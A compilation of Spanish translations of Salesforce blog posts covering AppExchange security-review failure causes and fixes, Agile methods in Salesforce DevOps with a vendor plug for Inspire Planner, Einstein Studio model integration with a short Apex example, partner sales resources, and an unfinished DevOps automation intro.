Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
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La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.
La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.
En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?
Tabla de contenido
Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:
Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.
Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.
Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.
Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.
Kanban sigue cuatro principios:
El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.
| Melé | Kanban | |
| Flujo de rutina frente a flujo continuo | Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. | Se enfoca en el flujo continuo y no tiene plazos específicos. |
| roles | Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas | Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso |
| Filosofía del cambio | Scrum desalienta los cambios dentro de un sprint. | Permite realizar cambios en cualquier momento |
| Alcance del Trabajo | Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. | Funciona bien para tareas en curso y actividades de mantenimiento. |
Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:
| Melé | Kanban | |
| Fortalezas | + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida. + Funciones y responsabilidades bien definidas mejoran la rendición de cuentas. + Las revisiones periódicas y las retrospectivas fomentan la mejora continua. |
+ Excelente visualización del trabajo en curso. + Flexibilidad para manejar cambios o nuevas tareas. + Ideal para flujos de trabajo continuos e ininterrumpidos. |
| Limitaciones | – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint. – No es tan flexible para cambiar a mitad del sprint. – Requiere un alto nivel de disciplina y comprensión de los principios de Scrum. |
– Puede que no sea tan efectivo para tareas complejas e interdependientes. – Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella. – La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia. |
Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.
Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:
Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.
Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.
Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:
Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.
Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:
Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:
Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.
Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.
Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.
Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.
Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.
Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.
La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:
Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.
Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.
Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.
Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.
¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.
Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.
Aunque no tiene el nivel de personalización o las funciones de generación de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opción atractiva para equipos más pequeños o proyectos simples.
Inspire Planner está diseñado para ser una solución de gestión de proyectos Agile integral pero fácil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.
Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:
Elegir la herramienta adecuada depende del tamaño de su equipo, la complejidad del proyecto y la metodología Agile que siga. Aquí hay algunas pautas:
La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.
Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.
Aquí hay algunas ideas procesables:
Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.
Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .
Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.
Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.
Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.
Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.
Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.
Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.
En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.
En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .
El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.
Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .
Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.
Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.
En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.
Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.
<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>
Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .
Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.
Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .
Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.
Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .
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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
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Cuando nuestros socios tienen éxito, tenemos éxito. Como socio de confianza, tiene la oportunidad de desbloquear los activos de ventas, la propiedad intelectual, las mejores prácticas, las historias de los clientes, el asesoramiento personalizado y nuestra metodología de lanzamiento de Salesforce. Esto es todo lo que brindamos a nuestros equipos de ventas internos de Salesforce, entregado en un formato interactivo y atractivo.
“Nuestros socios juegan un papel fundamental para ayudar a nuestros clientes a escalar capacidades, innovar y tener éxito con Salesforce”, dice Steve Corfield, vicepresidente ejecutivo de alianzas globales, canales y productos emergentes de Salesforce.
Explore el principal destino de aprendizaje y amplíe sus capacidades técnicas y de ventas para satisfacer las necesidades de los clientes ahora y en el futuro.
Salesforce realizó algunos cambios importantes este año para optimizar las soluciones de lanzamiento al mercado. El primer gran cambio es la tecnología y la innovación de productos. Atrás quedaron los días de almacenamiento en silos en la nube y la venta de miles de SKU. Ahora estamos vendiendo conjuntos de productos que están diseñados para satisfacer las necesidades de audiencias específicas. El enfoque en las personas de la audiencia nos permite producir ofertas más integradas y brindarles a los clientes oportunidades para desbloquear el Salesforce Customer 360 completo.
Ahora, es más fácil que nunca vender a través de Customer 360. Eso significa mayores ingresos y menor pérdida de clientes para los socios. Hay un efecto multiplicador significativo cuando un cliente tiene más de una nube. A medida que aumenta su participación en Salesforce, también puede ver una marcada disminución en el desgaste.
Los socios son clave para el éxito del cliente. Cuando nuestros socios participan estratégicamente en el ciclo de ventas:
“Los socios que brindan valor, innovación y crecimiento más rápido desbloquean el tipo de confianza de nuestros clientes que conduce a relaciones más profundas”, dice Corfield.
El verdadero éxito de ventas no se trata solo de cumplir con las cuotas o realizar transacciones rápidas. Se trata de construir relaciones sólidas y duraderas con los clientes. Esto significa comprender sus necesidades únicas y brindar soluciones personalizadas que agreguen valor y resuelvan los desafíos comerciales.
Salesforce tiene una gran cantidad de recursos para ayudarlo sin importar su rol de vendedor. Elija entre seminarios web interactivos breves y cursos a pedido en Partner Learning Camp (PLC). Disponibles para todos los socios de Salesforce, estos recursos están diseñados para ayudarlo a impulsar el éxito de las ventas a lo largo del ciclo de vida del cliente.
Generación de demanda: aprenda el valor de Salesforce y obtenga información sobre compradores únicos con los seminarios web Sales Messaging 101 . Luego, amplíe sus conocimientos en el seminario web Creación de proyectos y calificación de clientes potenciales . Aprenderá cómo comprender los puntos débiles de su cliente, involucrar a sus tomadores de decisiones y hacer avanzar la oportunidad.
Progresión del trato: una vez que tenga una cartera saludable de clientes potenciales, es hora de sobresalir en el lanzamiento. Sales Kickstart ofrece una clase magistral completa para ayudarlo a perfeccionar su presentación. Durante tres medios días, Kickstart ofrece capacitación personalizada para dar forma a su marco de presentación, ayudarlo a contar historias de clientes y vender en Customer 360. Esta capacitación también está disponible a pedido en PLC.
Entrada al mercado repetible: las personas que demuestren liderazgo en ventas en el ecosistema de socios pueden ser invitadas a convertirse en campeones de ventas de Salesforce . Es una oportunidad para obtener acceso a asesoramiento personalizado, preparación de lanzamientos y comentarios. En su tercer año, Salesforce ha ayudado a su grupo élite de campeones a obtener millones de dólares en proyectos. Los campeones guían a los clientes sobre las opciones tecnológicas correctas para el éxito y los ayudan a superar los desafíos comerciales y del mercado.
Cierre tratos más rápido y a una tasa más alta, desbloquee los beneficios de los socios, gane tarifas de referencia y desarrolle una asociación sólida con Salesforce.
Amplíe el impacto de sus capacidades de ventas de Salesforce aprovechando los siguientes recursos. Al hacerlo, desarrollará sus capacidades técnicas, accederá a recursos de marketing y capacitación, y aprenderá cómo llegar a sus clientes en el momento y lugar correctos.
Desarrolle experiencia técnica: acceda a cursos y planes de estudios para mejorar sus capacidades técnicas . Sumérjase en la capacitación disponible a través de Trailhead, Trailhead Academy, credenciales de Salesforce y Partner Learning Camp. Acceda a cursos específicos de funciones, como talleres impartidos por ingenieros de soluciones, para ingenieros de soluciones.
Llegue a sus clientes en el momento y el lugar correctos: el Centro de marketing para socios es una biblioteca de materiales gratuitos de marketing y ventas para ayudarlo a impulsar la demanda. Acceda a contenido gratuito, preconstruido y personalizable basado en la personalidad del comprador. Encontrará recursos como libros de jugadas de campaña, copia de correo electrónico, mazos de ventas, guiones de llamadas y más.
El programa de marketing de AppExchange puede ayudarlo a generar demanda, impulsar el éxito de los clientes y mejorar la visibilidad. Además, obtendrá oportunidades de marketing conjunto llave en mano con Salesforce.
Accelerate Grow puede ofrecerle más entrenamiento práctico. Este programa acelerador virtual de 9 semanas puede ayudarlo a salir al mercado más rápido y escalar el éxito de su empresa. Tendrá acceso a revisiones de listados personalizados, sesiones interactivas dirigidas por expertos y aprendizajes a pedido.
Amplíe sus operaciones de reventa: los revendedores pueden obtener una vista tras bambalinas sobre pronósticos, informes y el lado operativo de la gestión del negocio. Esto está disponible como un Bootcamp de reventa (que incluye Sales Kickstart) o como un taller de operaciones de reventa independiente.
Como socio de Salesforce, su excelencia en ventas impulsa la excelencia de la empresa. Puede maximizar el valor de su asociación desbloqueando un mundo de recursos para impulsar el éxito de ventas, expandir su base de clientes y prosperar en un mercado competitivo.
Salesforce está abriendo camino hacia los 50.000 millones de dólares en ingresos para 2026. Somos la empresa de software empresarial de más rápido crecimiento entre las cinco principales, y nuestros socios son fundamentales para ese crecimiento. Extienden la funcionalidad de la plataforma con aplicaciones personalizadas y ayudan a los clientes a implementar la tecnología. Junto con nuestros socios, crecemos, innovamos e invertimos en formas que ayudan a los clientes a transformar sus negocios.
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Última actualización el 3 de julio de 2023 por Rakesh Gupta
En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatización ha surgido como una solución clave, agilizando los procesos para aumentar la productividad y liberar la innovación. Salesforce no es inmune a estos desafíos y complejidades de toda la industria.
Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboración de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatización.
La combinación de automatización y Salesforce DevOps cosecha múltiples beneficios: menos errores, preparación más rápida para el mercado, una canalización de lanzamiento optimizada, menos repeticiones, calidad de código superior y mecanismos de retroalimentación más fuertes. Mejora la eficiencia operativa y la velocidad de implementación en el ecosistema de Salesforce, fomentando un desarrollo ágil.
Este artículo explora la intersección de la automatización y Salesforce DevOps, los beneficios de su sinergia y formas prácticas de aplicarla para un desarrollo más rápido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este artículo ofrece información para reforzar su enfoque de DevOps de Salesforce con la automatización.
Antes de profundizar en cómo se cruzan Salesforce DevOps y la automatización, es fundamental comprender lo que implica Salesforce DevOps.
DevOps, una combinación de ' Desarrollo ' y ' Operaciones ', es un conjunto de prácticas diseñadas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la unión de estos principios con las sólidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementación más fluidos y rápidos.
En esencia, Salesforce DevOps incorpora principios como:
El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armonía, lo que lleva a ciclos de desarrollo más cortos, tiempo de comercialización más rápido y software de alta calidad.
Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desafíos. Si bien es un activo, las características integrales y la capacidad de personalización de Salesforce pueden complicar el proceso de desarrollo e implementación .
Los desafíos difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los más comunes:
